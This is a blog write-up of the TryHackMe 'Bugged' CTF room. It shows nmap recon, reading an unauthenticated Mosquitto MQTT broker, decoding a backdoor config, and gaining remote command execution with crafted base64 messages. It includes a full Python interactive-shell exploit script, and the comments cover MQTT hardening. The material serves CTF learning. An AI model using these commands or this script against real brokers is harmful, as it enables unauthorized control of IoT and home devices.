DEV Community

Laach_
Laach_

Posted on

Bugged - THM

Machine Info

Difficulty: Easy🟩
Link: HERE
Avg time: 30 Minutes
OS: Linux

Description: John likes to live in a very Internet connected world. Maybe too connected...

Recon

Casually nmap scan.

sudo nmap 10.113.164.28 -p- -sCV -T4 -Pn -oN ~/workplace/scan.txt
Enter fullscreen mode Exit fullscreen mode
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-23 02:32 +0200
Nmap scan report for 10.113.164.28
Host is up (0.029s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE                  VERSION
22/tcp   open  ssh                      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b0:89:bd:c2:1b:8a:8d:fc:f6:64:16:12:0e:08:16:11 (RSA)
|   256 66:2f:6b:ec:c0:4a:9e:08:fa:0b:f9:03:cd:92:f8:cc (ECDSA)
|_  256 4c:9a:01:15:4f:4f:75:01:ff:57:62:41:a6:89:1c:ef (ED25519)
1883/tcp open  mosquitto version 2.0.14
| mqtt-subscribe:
|   Topics and their most recent payloads:
|     $SYS/broker/store/messages/bytes: 177
|     $SYS/broker/clients/connected: 2
|     $SYS/broker/retained messages/count: 36
|     $SYS/broker/load/sockets/1min: 1.83
|     $SYS/broker/load/messages/sent/5min: 95.03
|     $SYS/broker/publish/bytes/received: 228342
|     $SYS/broker/version: mosquitto version 2.0.14
|     $SYS/broker/load/messages/received/15min: 89.46
|     $SYS/broker/messages/sent: 6868
|     patio/lights: {"id":11755677006591694699,"color":"GREEN","status":"ON"}
|     $SYS/broker/bytes/received: 319850
|     $SYS/broker/clients/active: 2
|     $SYS/broker/subscriptions/count: 5
|     frontdeck/camera: {"id":789304357860233507,"yaxis":-12.072189,"xaxis":171.99078,"zoom":4.5244155,"movement":false}
|     $SYS/broker/load/bytes/received/15min: 4226.75
|     $SYS/broker/load/bytes/sent/5min: 562.76
|     $SYS/broker/bytes/sent: 32210
|     storage/thermostat: {"id":17037084942699405769,"temperature":23.484484}
|     $SYS/broker/load/bytes/sent/1min: 1304.53
|     $SYS/broker/load/messages/received/5min: 90.12
|     $SYS/broker/uptime: 4488 seconds
|     livingroom/speaker: {"id":14650140576414647883,"gain":69}
|     kitchen/toaster: {"id":15975653524494880000,"in_use":false,"temperature":152.00534,"toast_time":218}
|     $SYS/broker/store/messages/count: 32
|     $SYS/broker/publish/messages/sent: 123
|     $SYS/broker/publish/bytes/sent: 854
|     $SYS/broker/load/connections/5min: 0.39
|     $SYS/broker/load/connections/15min: 0.13
|     $SYS/broker/load/publish/sent/5min: 4.91
|     $SYS/broker/load/sockets/15min: 0.13
|     $SYS/broker/messages/stored: 32
|     $SYS/broker/load/sockets/5min: 0.39
|     $SYS/broker/load/publish/sent/15min: 1.68
|     $SYS/broker/load/bytes/received/5min: 4230.13
|     $SYS/broker/load/bytes/sent/15min: 426.98
|     $SYS/broker/messages/received: 6747
|     $SYS/broker/load/messages/received/1min: 90.86
|     $SYS/broker/load/connections/1min: 1.83
|     $SYS/broker/clients/total: 3
|     $SYS/broker/load/bytes/received/1min: 4141.09
|     $SYS/broker/load/publish/sent/1min: 22.84
|     $SYS/broker/load/messages/sent/15min: 91.14
|     $SYS/broker/clients/maximum: 3
|_    $SYS/broker/load/messages/sent/1min: 113.70
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.89 seconds
Enter fullscreen mode Exit fullscreen mode

Scan reveals:

  • 22/tcp - SSH
  • 1883/tcp - mosquitto

What is Mosquitto

Mosquitto is a server that is used by smart devices that can subscribe/publish on a specific topic to communicate with each other. E.g. there's a thermometer in the kitchen and it publishes data every 5 minutes, and an app on the phone is subscribed to the topic the thermometer publishes to, so the application knows what the temperature in the kitchen is.

INFO: Kali should already have both tools for subscribing (mosquitto_sub) and for publishing (mosquitto_pub). If somehow they aren't installed, run apt install mosquitto mosquitto-clients

Shell as challenge

Since mosquitto was available, I subscribed to all published topics.

mosquitto_sub -h 10.113.164.28 -t '#'
Enter fullscreen mode Exit fullscreen mode

and there were a lot of dummy messages like:

{"id":15122353728767542796,"temperature":24.231682}
{"id":8039817158904867234,"in_use":true,"temperature":142.67894,"toast_time":336}
{"id":8388375464796309106,"yaxis":-42.711197,"xaxis":-72.87599,"zoom":3.0330994,"movement":false}
{"id":16442316455141432482,"gain":70}
{"id":7275756953611976182,"color":"GREEN","status":"OFF"}
{"id":2652959967142793679,"temperature":23.418367}
{"id":8623147950850008773,"gain":56}
{"id":8725725398376423612,"in_use":true,"temperature":144.76564,"toast_time":292}
{"id":14791679839639526134,"temperature":23.96474}
{"id":2231016179385581559,"color":"PURPLE","status":"ON"}
{"id":16572386828657677453,"yaxis":154.81708,"xaxis":138.99442,"zoom":2.9882195,"movement":true}
{"id":15299776299173523865,"gain":72}
Enter fullscreen mode Exit fullscreen mode

but one thing stood out

eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
Enter fullscreen mode Exit fullscreen mode

At first glance, the ey prefix suggests it starts with {, and the == padding suggests it's Base64. After decoding, it turned out to be something like this:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}
Enter fullscreen mode Exit fullscreen mode

What caught my eye was "registered_commands":["HELP","CMD","SYS"], and specifically CMD - that immediately screamed potential RCE, so I ran:

mosquitto_pub -h 10.113.164.28 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '{"HELP"}'
Enter fullscreen mode Exit fullscreen mode

And in another terminal, I set up a listener using:

mosquitto_sub -h 10.113.164.28 -t '#'
Enter fullscreen mode Exit fullscreen mode

I caught this output:

SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=
Enter fullscreen mode Exit fullscreen mode

after decoding:

base64({"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})
Enter fullscreen mode Exit fullscreen mode

INFO: My message triggered a response, but not a successful one, the decoded base64 was actually the invalid format error, I just trimmed that part out of what I showed above. I didn't verify it, but any malformed message probably triggers the same error.

so I ran:

mosquitto_pub -h 10.113.164.28 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIgLCAiY21kIjoiQ01EIiAsICJhcmciOiJpZCJ9'
Enter fullscreen mode Exit fullscreen mode

And it worked, returning:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)\n"}
Enter fullscreen mode Exit fullscreen mode

So at the time I had some time and was pretty bored, so I made a python script that converts this into an interactive RCE instead of repeatedly sending these messages.

import subprocess
import base64
import cmd
import json
import time
import sys

class MQTTExploit(cmd.Cmd):
    prompt = '[$] '
    intro = 'Shell is ready'

    def __init__(self, target , pub_topic , sub_topic , exploit_id ):
        super().__init__()
        self.target: str = target
        self.pub_topic: str = pub_topic
        self.sub_topic: str = sub_topic
        self.exploit_id: str = exploit_id

    def _is_success(self, code: int) -> bool:
        return code == 0

    def _fix_padding(self, base64_string: str) -> str:
        return base64_string + '=='

    def send_payload(self) -> bool:
        dict_template = {
                    "id": self.exploit_id ,
                    "cmd":"CMD" ,
                    "arg": self.command
                    }
        result = subprocess.run(f"mosquitto_pub -h {self.target} -t {self.sub_topic} -m '{base64.b64encode(json.dumps(dict_template).encode()).decode()}'"
        ,capture_output=True , shell=True)

        if self._is_success(result.returncode):
            print("[+] Payload sent")
            return True

        print(f"[!] Something went wrong: {result.stderr}")
        return False

    def start_listener(self):
        return subprocess.Popen(
            f"mosquitto_sub -h {self.target} -t {self.pub_topic} -v -C 1",
            stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True
        )

    def get_response(self, proc) -> str:
        try:
            stdout, stderr = proc.communicate(timeout=10)
        except subprocess.TimeoutExpired:
            proc.kill()
            return "[!] Timeout!"

        if self._is_success(proc.returncode):
            response_json = base64.b64decode(self._fix_padding(stdout.removeprefix(f"{self.pub_topic} ")).encode()).decode()
            return json.loads(response_json).get('response')
        else:
            return f"[!] Something went wrong: {stderr}"

    def default(self, line):
        self.command = line
        proc = self.start_listener()
        time.sleep(1)
        if self.send_payload():
            response = self.get_response(proc)
            print(response)
        else:
            proc.kill()

try:
    target: str = sys.argv[1]
    pub_topic: str = sys.argv[2]
    sub_topic: str = sys.argv[3]
    backdoor_id: str = sys.argv[4]
except IndexError:
    print("[!] Wrong amount of arguments")
    print("[?] Use: python3 main.py TARGET PUB_TOPIC SUB_TOPIC ID")
    sys.exit(1)

try:
    exploit = MQTTExploit(target , pub_topic , sub_topic, backdoor_id)
    exploit.cmdloop()
except KeyboardInterrupt:
    print('\n[!] C+CTRL')
Enter fullscreen mode Exit fullscreen mode

It was just to convert it into a prompt, it's not robust so it can fail, but in my case it works well, and the delay is on purpose so the topic gets published before the script tries to read it.

[$] ls -al
[+] Payload sent
total 32
drwxr-xr-x 1 challenge challenge 4096 Mar 22  2022 .
drwxr-xr-x 1 root      root      4096 Mar 22  2022 ..
-rw------- 1 challenge challenge   28 Mar 22  2022 .bash_history
-rw-r--r-- 1 challenge challenge  220 Aug  4  2021 .bash_logout
-rw-r--r-- 1 challenge challenge 3526 Aug  4  2021 .bashrc
-rw-r--r-- 1 challenge challenge  807 Aug  4  2021 .profile
-rw-r--r-- 1 root      root        39 Mar 21  2022 flag.txt

[$] cat flag.txt
[+] Payload sent
flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Also, I was tripping out and got confused because the names are switched.

Top comments (3)

Collapse
 
topstar_ai profile image
Luis Cruz

The use of Mosquitto in this scenario highlights the importance of understanding IoT communication protocols. I noticed that the nmap scan revealed the Mosquitto service running on port 1883, and the subsequent analysis showed various topics being published, such as $SYS/broker/clients/connected and patio/lights. This led me to think about potential vulnerabilities in the Mosquitto implementation, such as unauthorized access to published topics or the ability to publish malicious data to connected devices. Have you considered exploring the security implications of using Mosquitto in a smart home setup, and how one might go about exploiting or mitigating these vulnerabilities in a controlled environment like this TryHackMe challenge?

Collapse
 
laach_ profile image
Laach_
  1. Honestly I never thought about Mosquitto as an insecure protocol, mainly because I assumed the broker handled trust between publishers and subscribers somehow. In reality Mosquitto doesn't verify who connects or who publishes to a topic unless you explicitly configure authentication. The default config (allow_anonymous true) is what makes it insecure, not the protocol itself being flawed , it's a case of "secure but not by default". Since setting up auth requires manual config, a lot of real-world deployments just skip it.

  2. Exploiting can be trivial as there's no auth by default , you can subscribe to any topic to read live data, or publish forged messages to control devices directly. As for mitigation, the standard hardening steps for Mosquitto/MQTT are: enable username/password authentication, use TLS for the connection so credentials and payloads aren't sent in plaintext, configure ACLs so clients can only access the topics they need, and don't expose the broker directly to the internet.

  3. I don't remember other TryHackMe rooms that use MQTT as the main attack path or even as a side objective, you could try asking on the THM Discord

Some comments may only be visible to logged-in visitors. Sign in to view all comments.